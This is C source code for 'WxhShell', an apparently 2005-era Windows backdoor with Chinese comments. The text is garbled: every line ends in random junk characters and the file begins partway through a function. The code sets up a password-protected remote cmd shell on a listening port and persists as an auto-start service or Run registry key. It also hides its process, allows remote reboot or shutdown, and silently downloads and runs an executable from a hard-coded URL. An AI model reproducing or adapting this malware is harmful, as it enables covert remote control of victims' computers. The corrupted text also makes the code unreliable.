    ExitThread(0); QWWoj[d#  
    } %D:5 S?{  
    break; u:7=Yy :  
    } gZ1|b  
  // 关机 ,9;d"ce  
  case 'd': { 3` aJ"qQE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3((53@s98  
    if(Boot(SHUTDOWN)) ]0wmvTR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G ]mX+?  
    else { x uDn:  
    closesocket(wsh); mmn1yX:d  
    ExitThread(0); aE2 3[So  
    } 7J%v""\1!  
    break; 6}6ky9  
    } UW[{Y|oE  
  // 获取shell NX*9nwp^  
  case 's': { 'D4KaM.d  
    CmdShell(wsh); !OJSQB,  
    closesocket(wsh); OWK)4[HY(  
    ExitThread(0); tK|hC[  
    break; vAE?^*F  
  } |KFWW  
  // 退出 T7.u7@V2  
  case 'x': { #dGg !D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3&@MZF&  
    CloseIt(wsh); O:a$ U:  
    break; 'g a1SbA]  
    } A{E0 a:v  
  // 离开 lC1X9Op  
  case 'q': { 4[!&L:tR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y tmlG%  
    closesocket(wsh); 2/B Flb  
    WSACleanup(); lm&C!{K  
    exit(1); EVj48  
    break; 'eo2a&S2D  
        } k- sbZL  
  } b@f. Kd7I  
  } ?#kI9n<O  
|"P5%k#6^>  
  // 提示信息 5.|rzk>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^D B0C  
} %'* |N [  
  } .#h ]_%  
!@/?pXt|  
  return; va;d[D,  
} US7hKNm.  
kQIWDN  
// shell模块句柄 >CPkL_@VZ=  
int CmdShell(SOCKET sock) l:HO|Mq  
{ (7ew&u\Li  
STARTUPINFO si; r+0)l:{.  
ZeroMemory(&si,sizeof(si)); oT|E\wj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =10t3nA1$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i%*x7zjY{  
PROCESS_INFORMATION ProcessInfo; s !8]CV>  
char cmdline[]="cmd"; {=g-zsc]K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o-O/MS   
  return 0; G)43Y!  
} 59^@K"J  
|x<  
// 自身启动模式 o JA58/  
int StartFromService(void) LwGcy1F.  
{ $;;?'!%.  
typedef struct i]$d3J3  
{ :{66WSa@Dd  
  DWORD ExitStatus; 6xFZv t  
  DWORD PebBaseAddress; LOida#R  
  DWORD AffinityMask; N%B#f\N  
  DWORD BasePriority; WejY b;KS  
  ULONG UniqueProcessId; +&?VA!}.  
  ULONG InheritedFromUniqueProcessId; mG@Q}Y(  
}   PROCESS_BASIC_INFORMATION; 6:EO  
y ph  
PROCNTQSIP NtQueryInformationProcess; XbH X,W$h  
^5T{x>Lj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;C"J5RA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `a6;*r y  
2hu6  
  HANDLE             hProcess; kcYR:;y  
  PROCESS_BASIC_INFORMATION pbi; S,8zh/1y  
|M K-~ep  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *Cb(4h-  
  if(NULL == hInst ) return 0; ./g0T{&  
-%N (X8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^2??]R&Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]Pd*w`R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8% |x)  
3?geJlD4  
  if (!NtQueryInformationProcess) return 0; 1_p'0lFe  
V+Tj[:ok  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Va 5U`0  
  if(!hProcess) return 0; x9ws@=[:  
ZE\t{s0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; aFSZYyPxwv  
m:41zoV  
  CloseHandle(hProcess); Qxvz}r.l]  
OS9v.pz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4Ek< 5s[  
if(hProcess==NULL) return 0; ~J2Q0Jv  
5Ci}w|c/>  
HMODULE hMod; ,\m c.80  
char procName[255]; qQ_B[?+W  
unsigned long cbNeeded; p>zE/Pw~  
H{XW?O^@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dg!sRm1iZ:  
<Q0&[q;Z  
  CloseHandle(hProcess); s=nds"J  
"L)pH@)  
if(strstr(procName,"services")) return 1; // 以服务启动 m88~+o<G%  
fr?eOigbl  
  return 0; // 注册表启动 btY Pp0o~  
} /{U{smtdFl  
/f[_]LeV]  
// 主模块 S&Sf}uK  
int StartWxhshell(LPSTR lpCmdLine) lV 9q;!/1  
{ l}^#kHSyd  
  SOCKET wsl; 8tL61x{]  
BOOL val=TRUE; 6vA5L_  
  int port=0; Lv4=-mWv&0  
  struct sockaddr_in door; [Ok8l='  
3u^TJt)  
  if(wscfg.ws_autoins) Install(); Dk-L4FS  
\f  LBw0  
port=atoi(lpCmdLine); >guQY I@4,  
)yP>}ME  
if(port<=0) port=wscfg.ws_port; v(^rq  
(`NRF6'&1L  
  WSADATA data; US|vYd}u+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 39j d}]e  
(Gn[T1p?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,fw[J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6bGD8 ;  
  door.sin_family = AF_INET; 2&suo!ig  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); dCW0^k  
  door.sin_port = htons(port); S83]O!w0  
;L#L Dk{Za  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nLzX Z6JlU  
closesocket(wsl); b/T20F{W\o  
return 1; pg5@lC]J  
} 8}ii3Py  
)i},@T8[  
  if(listen(wsl,2) == INVALID_SOCKET) { ru#T^AI*^  
closesocket(wsl); tn(f rccy  
return 1; |`N$>9qN  
} Xi1q]ps  
  Wxhshell(wsl); ~ra#UG\Y8  
  WSACleanup(); Wm];pqN  
;LwFbkOuU  
return 0; >OF:"_fh  
?6_"nT*}  
} dqIZ#;:g  
CpBQ>!CW  
// 以NT服务方式启动 C5.\;;7^&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R^mu%dw)(%  
{ vHZX9LQU0+  
DWORD   status = 0; ?,A}E|jZ  
  DWORD   specificError = 0xfffffff; z226yNlS  
bCJ<=X,g`K  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [)C)p*!Y)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xfbK eS8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; b/a?\0^  
  serviceStatus.dwWin32ExitCode     = 0; ,f-T1v"  
  serviceStatus.dwServiceSpecificExitCode = 0; E.5*Jr=J  
  serviceStatus.dwCheckPoint       = 0; B^Rw?: hN  
  serviceStatus.dwWaitHint       = 0; luP'JUq  
PHe~{"|d?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); . }-@;:yh  
  if (hServiceStatusHandle==0) return; XL"v21X  
z=- 8iks|  
status = GetLastError(); IPr*pQ{;c  
  if (status!=NO_ERROR) KxgR5#:i"  
{ pqGf@24c<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; / y":/" h  
    serviceStatus.dwCheckPoint       = 0; b3CspBgC  
    serviceStatus.dwWaitHint       = 0; )cv0$  
    serviceStatus.dwWin32ExitCode     = status; ?,+C!R?  
    serviceStatus.dwServiceSpecificExitCode = specificError; SevfxR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); utFcFd X  
    return; q7)]cY_  
  } D>"{H7m Y  
&K}(A{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0k] ju  
  serviceStatus.dwCheckPoint       = 0; V5(tf'  
  serviceStatus.dwWaitHint       = 0; 3^iQe"P%a@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2yCd:wg  
} "p6:ekw  
/v|68x6  
// 处理NT服务事件,比如:启动、停止 8KGv?^M 6W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ztpm_P6  
{ 9$4/frd  
switch(fdwControl) Hc_hO  
{ edImrm1f  
case SERVICE_CONTROL_STOP: nIN%<3U2  
  serviceStatus.dwWin32ExitCode = 0; 7zJh;f/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; X T)hPwg.  
  serviceStatus.dwCheckPoint   = 0; AT'_0> x8  
  serviceStatus.dwWaitHint     = 0; V.P5v {  
  { \4`saM /x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1>*UbV<R;u  
  } LK-K_!F  
  return; J*q=C%}.  
case SERVICE_CONTROL_PAUSE: w7*b}D@65\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hAxuZb7 ?  
  break; L]L~TA<D9i  
case SERVICE_CONTROL_CONTINUE: !Z0rTC3d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Kj1#R  
  break; ]cGz~TN~  
case SERVICE_CONTROL_INTERROGATE: >I8hFtAM  
  break; UV *tO15i  
}; E't G5,/m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %]:vT&M  
} ;P0Y6v3  
=ZJ?xA8  
// 标准应用程序主函数 g]PLW3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2I(@aB+  
{ uB#B\i  
Cak/#1  
// 获取操作系统版本 (a)@<RF`Q}  
OsIsNt=GetOsVer(); :+dWJNY:  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  =R24 h  
 [k&s!Qp  
  // 从命令行安装 YI\Cs=T/  
  if(strpbrk(lpCmdLine,"iI")) Install(); .T$9Q Ar5  
}AH|~3|D  
  // 下载执行文件 ~C*6V{Tj  
if(wscfg.ws_downexe) { e#eO`bT  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )}9}"jrDlx  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZD] '$  
} *,XJN_DKj  
OD@A+"  
if(!OsIsNt) { F]&J%i F[  
// 如果时win9x,隐藏进程并且设置为注册表启动 2T2#HP  
HideProc(); d8q$&(]<  
StartWxhshell(lpCmdLine); fdEj#Ux<H  
} Y;5^w=V  
else nF[eb{GR`  
  if(StartFromService()) 96V, [-arf  
  // 以服务方式启动 "YvBb:Z>  
  StartServiceCtrlDispatcher(DispatchTable); d?qO`- ~$  
else w.F3o4YP  
  // 普通方式启动 XxU}|jTO#  
  StartWxhshell(lpCmdLine); q\pc2Lh?^  
h|>n3-k|p  
return 0; 9NoPrR=x1  
} zmS-s\$,  
7a.#F]`  
^@w1Z{:  
cFNtY~(b  
=========================================== fq!6#Usf;i  
=&G|} M  
#7:9XID /  
c+M@{EbuN  
e&7}N Za  
W p* v Vv  
" (#Kvm  
(%IstR|u:  
#include <stdio.h> ]vyF&`phb  
#include <string.h> rG%_O$_dO  
#include <windows.h> 2"K~:Tm#w  
#include <winsock2.h> 2/gj@>dt  
#include <winsvc.h> NOr*+N\  
#include <urlmon.h> [GT1,(}. Z  
2Rp{]s$jo  
#pragma comment (lib, "Ws2_32.lib") Z#V\[  
#pragma comment (lib, "urlmon.lib") s-DL=MD  
b#'a4j-u  
#define MAX_USER   100 // 最大客户端连接数 XD>@EYN<X  
#define BUF_SOCK   200 // sock buffer 13@| {H CB  
#define KEY_BUFF   255 // 输入 buffer @G{DOxE*  
6$;)CO!h  
#define REBOOT     0   // 重启 i-W2!;G  
#define SHUTDOWN   1   // 关机 .`=PE&xq  
J4^cd  
#define DEF_PORT   5000 // 监听端口 @Oay$gP{T  
R63d `W  
#define REG_LEN     16   // 注册表键长度 kpUU'7Q  
#define SVC_LEN     80   // NT服务名长度 6$.Xj\zl  
e;3 (,  
// 从dll定义API ~ZC=!|Q#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); by[(9+/z$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W5;sps  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2DQC)Pe+z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pLcng[  
:Djp\ e6!  
// wxhshell配置信息 ?P]md9$(+e  
struct WSCFG { aN3{\^  
  int ws_port;         // 监听端口 aE$p;I  
  char ws_passstr[REG_LEN]; // 口令 sVnu Sm  
  int ws_autoins;       // 安装标记, 1=yes 0=no A1;t60z+q>  
  char ws_regname[REG_LEN]; // 注册表键名 FeMu`|2  
  char ws_svcname[REG_LEN]; // 服务名 C5 !n {  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U.x.gZRo[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ti% e.p0[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xI8*sTx 6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L+CSF ]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F,:VL*.5kJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t,6=EK*3T  
R[t[M}q  
}; ?A>-_B  
jT0fF  
// default Wxhshell configuration \_'pUp22  
struct WSCFG wscfg={DEF_PORT, g5[3[Z(.  
    "xuhuanlingzhe", ?H?r!MZ%  
    1, eu;^h3u;b  
    "Wxhshell", `#bcoK5  
    "Wxhshell", _,Y79 b6  
            "WxhShell Service", R4;6Oi)  
    "Wrsky Windows CmdShell Service", DK1)9<  
    "Please Input Your Password: ", q[ZYlF,Ho  
  1, hSH-Ck@Qy  
  "http://www.wrsky.com/wxhshell.exe", Y$^QH.h  
  "Wxhshell.exe" rz*Jmn b  
    }; 10 ^=1@U  
uy~j$lrn  
// 消息定义模块 na)_8r~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J)]W[Nk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~Ua0pS?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2]wh1)  
char *msg_ws_ext="\n\rExit."; ^D)C|T  
char *msg_ws_end="\n\rQuit."; ;Wdo*ysW  
char *msg_ws_boot="\n\rReboot..."; i%2K%5{)$D  
char *msg_ws_poff="\n\rShutdown..."; fkM4u<R^  
char *msg_ws_down="\n\rSave to "; WRCi!  
JAK*HA  
char *msg_ws_err="\n\rErr!"; ,*30Q  
char *msg_ws_ok="\n\rOK!"; uwJkqlUOz  
$fKWB5p|()  
char ExeFile[MAX_PATH]; 4M}/PoJ  
int nUser = 0; _DQdo  
HANDLE handles[MAX_USER]; Cpl)byb  
int OsIsNt; aUV>O`|_  
6822xk  
SERVICE_STATUS       serviceStatus; p-Ju&4fS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tp7fmn*  
[B Al  
// 函数声明 :>=,sLfJ  
int Install(void); U,N4+F}FR  
int Uninstall(void); \c)XN<HH  
int DownloadFile(char *sURL, SOCKET wsh); {#MViBhd%  
int Boot(int flag); hwJ.M4  
void HideProc(void); /e}k7U,^  
int GetOsVer(void); {ib`mC^  
int Wxhshell(SOCKET wsl); 8cHZBM7'  
void TalkWithClient(void *cs); v'uQ'CiH  
int CmdShell(SOCKET sock); .s+e hZ  
int StartFromService(void); =vWnqF:  
int StartWxhshell(LPSTR lpCmdLine); DE[y&]/C{  
 EpiagCS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *m7e>]-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5g=" #  
,xiRP$hGhh  
// 数据结构和表定义 WJ%b9{<  
SERVICE_TABLE_ENTRY DispatchTable[] = 3jQ |C=   
{ )S]c'}^  
{wscfg.ws_svcname, NTServiceMain}, V1+IqOXAIp  
{NULL, NULL} =LC5o2bLy  
}; T@L^RaPX  
$]_=B Jyu  
// 自我安装 .]" o-(gB  
int Install(void) *]rV,\z:  
{ E^  rN)  
  char svExeFile[MAX_PATH]; wL{Qni3A  
  HKEY key; It4F;Ah  
  strcpy(svExeFile,ExeFile); :r\<DVj  
S +He  
// 如果是win9x系统,修改注册表设为自启动 zd}"8  
if(!OsIsNt) { v;OA hFr|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !({[^[!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n4ISHxM  
  RegCloseKey(key); g3y44G CV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]UNmhF!W>u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q>|<R[.7  
  RegCloseKey(key); -1@kt<Es  
  return 0; /rquI y^  
    } C 9DRVkjj  
  } |{$Vk%cUE  
} CzwnmSv{.  
else { wy7f7zIa  
>BiJ/[9  
// 如果是NT以上系统,安装为系统服务 >OQ<wO6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,i'>+Ix<  
if (schSCManager!=0) G-Y8<mEh  
{ OH&&d=~  
  SC_HANDLE schService = CreateService +] FdgmK:  
  ( J"|o g|Tz  
  schSCManager, NZv1dy`fa  
  wscfg.ws_svcname, .(! $j-B  
  wscfg.ws_svcdisp, 1Ztoj}!I  
  SERVICE_ALL_ACCESS, Mq-;sPsFP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {`{U\w5Af  
  SERVICE_AUTO_START, |TkO'QN  
  SERVICE_ERROR_NORMAL, #HqXC\~n  
  svExeFile, /CH*5w)1   
  NULL, 59GS:  
  NULL, M-eX>}CDm  
  NULL, /op8]y  
  NULL, B%[Yu3gBo  
  NULL ,XR1N$LN8_  
  ); >]FRHJo_  
  if (schService!=0) oPl^tzO  
  { w?Y;pc}1B  
  CloseServiceHandle(schService); Py K)ks!6  
  CloseServiceHandle(schSCManager); iXI > >9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WSUU_^.  
  strcat(svExeFile,wscfg.ws_svcname); I t",WFE.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l1nrJm8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ym^  
  RegCloseKey(key); FK<1SOE  
  return 0; |%Pd*yZA  
    } %qNT<>c  
  }  "H#2  
  CloseServiceHandle(schSCManager); z`XX[9$qm  
} q9|'!m5K  
} it \3-  
bs/Vn'CE  
return 1; @w?hX K=  
} x:4 :G(  
qi!+ Ceo}  
// 自我卸载 /GRkQ",  
int Uninstall(void) DJR_"8  
{ e-Mei7{%  
  HKEY key; MDAJ p>o  
g\:(1oY  
if(!OsIsNt) { kIrb;bZ+l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /?VwoSgV^  
  RegDeleteValue(key,wscfg.ws_regname); H85J MPZ7  
  RegCloseKey(key); Mh3Tfp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _TEjB:9eY  
  RegDeleteValue(key,wscfg.ws_regname); HHzAmHt  
  RegCloseKey(key); @~sJ ((G[5  
  return 0; /fv;`?~d*  
  } +VT/ c  
} /-s-W<S[  
} t>Lq "]1  
else { 4h~CDy%_  
KDxqz$14 -  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %\$~B?At  
if (schSCManager!=0) VH M&Y-G  
{ i24t$7q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F#=M$j_  
  if (schService!=0) 7 x#QkImQ  
  { TMJq-u51  
  if(DeleteService(schService)!=0) { <<w*_GM  
  CloseServiceHandle(schService); Ui|z#{8&  
  CloseServiceHandle(schSCManager); n37P$0  
  return 0; h>k[  
  } FNlS)Bs  
  CloseServiceHandle(schService); lWPh2k  
  } [8jIu&tJf  
  CloseServiceHandle(schSCManager); _59f.FsVR  
} TAB'oLNp  
} !{q_Q !  
/Ixv{H)H  
return 1; FdGnNDl*e  
} z=/&tRe W  
X~g U$  
// 从指定url下载文件 /#}o19(-d  
int DownloadFile(char *sURL, SOCKET wsh) -kzp >=  
{ V9Pw\K!w#\  
  HRESULT hr; &8\6%C  
char seps[]= "/"; X{Ij30Bmv  
char *token; q?y-s  
char *file; %-fQ[@5  
char myURL[MAX_PATH]; F/ o }5H  
char myFILE[MAX_PATH]; I >aKa  
w~4T.l#1  
strcpy(myURL,sURL); .no<#l  
  token=strtok(myURL,seps); Z\r?>2  
  while(token!=NULL) fU<_bg  
  { ^ 6b27_=  
    file=token; "% l``  
  token=strtok(NULL,seps); %/oeV;D  
  } BEtFFi6ot  
K2{6{X=  
GetCurrentDirectory(MAX_PATH,myFILE); 1z3>nou2{  
strcat(myFILE, "\\"); TXT!Ae  
strcat(myFILE, file); &6e A.  
  send(wsh,myFILE,strlen(myFILE),0); |@5G\N-  
send(wsh,"...",3,0); m<sCRWa-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {X 5G  
  if(hr==S_OK) Dy&{PeE!  
return 0; jr(|-!RVMN  
else !K6:5V%q$  
return 1; & LhQr-g  
8.HJoos  
} (QTQxZ  
kho$At)V  
// 系统电源模块 ^EJ]LNk }  
int Boot(int flag)  {b|V;/  
{ RK/>5  
  HANDLE hToken; D@%!|:  
  TOKEN_PRIVILEGES tkp; 2y IDyo  
e(I;[G +%,  
  if(OsIsNt) { }Te+Rv7{E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Dtox/ ,"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4-BrE&2f  
    tkp.PrivilegeCount = 1; fI,2l   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O03F@v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _\<TjGtG  
if(flag==REBOOT) { T|p%4hH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F. I\?b  
  return 0; #y'p4Xf  
} ~l('ly  
else { Pv|sPIIB7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @~&|BvK% \  
  return 0; &14xYpD<  
} m=TZfa^r  
  } O>>/2V9  
  else { .l,]yWwfK  
if(flag==REBOOT) { F-XMy>9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l,5isq ;m  
  return 0; v%kl*K`*  
} Z 5g*'  
else { 0+K<;5"63d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8@ S@^C*F  
  return 0; W6RjQ1  
} 3lbGG42:  
} \O]kf>nC  
&UVqF o  
return 1; 0KZ$v/m  
} :;;k+Sw3  
ps^["3e  
// win9x进程隐藏模块 .@\(ay  
void HideProc(void) +Ht(_+To1  
{ Xy}>O*  
a]J>2A@-I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mz<X$2]?  
  if ( hKernel != NULL ) 'J)9#  
  { KpIY>k  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vs>Pd |p;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cYvt!M\ed  
    FreeLibrary(hKernel); xVrLoAw  
  } ?BbEQr  
!=HxL-`j  
return; wc#k@"2AZb  
} &XW ~l>!+  
)NTpb  
// 获取操作系统版本  C~^T=IP  
int GetOsVer(void) bN|1%[7  
{ 7q{yLcC"  
  OSVERSIONINFO winfo; =>JA; ft  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '*EKi  
  GetVersionEx(&winfo); jAovzZ6BL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t0za%q!fK<  
  return 1; p<&>1}j=  
  else S_^;#=_c  
  return 0; 7jr+jNsowj  
} ztAC3,r]  
].Ra=^q  
// 客户端句柄模块 ~jzT;9:  
int Wxhshell(SOCKET wsl) wa!z:}]  
{ fF2] 7:  
  SOCKET wsh; zn0%%x+!g  
  struct sockaddr_in client; ?m9=Me  
  DWORD myID; =`2jnvx  
Rl_1g`84  
  while(nUser<MAX_USER) } Fli  
{ ,s 6lB0  
  int nSize=sizeof(client); 3JD"* <zs  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q'Uv5p"X  
  if(wsh==INVALID_SOCKET) return 1; f3s4aARP  
L>lxkq8!Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /( 9.Fqe(  
if(handles[nUser]==0) y5?kv-"c  
  closesocket(wsh); `Gx 5=Bm;  
else Q=Q&\.<  
  nUser++; m:k;?p:x  
  } 9|NF)~Q}'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G7KOJZb+D  
d7uS[tKqg  
  return 0; MlLM $Y-@  
} rT[b ^l}  
? :A%$T  
// 关闭 socket '5A&c(  
void CloseIt(SOCKET wsh) u Tdz$Nh  
{ 2_Zn?#G8dl  
closesocket(wsh); 5 o[E8c 8  
nUser--; BQv*8Hg B6  
ExitThread(0); {cjp8W8hS  
} M+)ENv e  
#%/Jr 52<  
// 客户端请求句柄 .3>q3sS  
void TalkWithClient(void *cs) hVCxwTg^X  
{ ]4'V59\  
0Ag2zx  
  SOCKET wsh=(SOCKET)cs; tiR i_  
  char pwd[SVC_LEN]; Wd7qpWItjQ  
  char cmd[KEY_BUFF]; J:IAs:e`  
char chr[1]; umpa!q};  
int i,j; =(bTS n  
~| oB|>  
  while (nUser < MAX_USER) { #U vWS  
^e80S^  
if(wscfg.ws_passstr) { +O8}twt@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); > lI2r}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gEmsPk,  
  //ZeroMemory(pwd,KEY_BUFF); sqj8I"<`  
      i=0; P` Gb }]rW  
  while(i<SVC_LEN) { 6kONuG7Yv  
UI wTf2B  
  // 设置超时 3qDuF  
  fd_set FdRead; 7p {2&YhB  
  struct timeval TimeOut; vCtnjWGX}/  
  FD_ZERO(&FdRead); 4lc)&  
  FD_SET(wsh,&FdRead); a! Yb1[  
  TimeOut.tv_sec=8; }wt%1v-10U  
  TimeOut.tv_usec=0; hN`gB#N3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `0BdMKjA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ri:p8  
& %}/AoU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nYv#4*  
  pwd=chr[0]; twqFs  
  if(chr[0]==0xd || chr[0]==0xa) { ucg$Ed  
  pwd=0; CKARg8o  
  break; 9+CFRYC  
  } UFZ"C,  
  i++; % mn />  
    } _^uc 0=  
<4F7@q, V  
  // 如果是非法用户,关闭 socket ;?6>mh(`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "!&B4  
} I"!'AI-  
*Jnh";~b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t/:w1rw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `ENP=kL(+  
m^$5K's&  
while(1) { HY;oy(  
(:?&G9k "  
  ZeroMemory(cmd,KEY_BUFF); oXc/#{NC  
y/4ny,s"  
      // 自动支持客户端 telnet标准   _%IqjJO{=r  
  j=0; t!l%/$-  
  while(j<KEY_BUFF) { k8&FDz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PKtU:Eg  
  cmd[j]=chr[0]; z}5<$K_U  
  if(chr[0]==0xa || chr[0]==0xd) { huAyjo  
  cmd[j]=0; ZH-5 Qy_  
  break; .)ST[G]WK  
  } $9i9s4u^  
  j++; 94z8B;+ H]  
    } b7'F|h^  
:Y.e[@!1x  
  // 下载文件 _<u;4RO(s  
  if(strstr(cmd,"http://")) { px [~=$F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4$i}Xk#3  
  if(DownloadFile(cmd,wsh)) oWD)+5. ]  
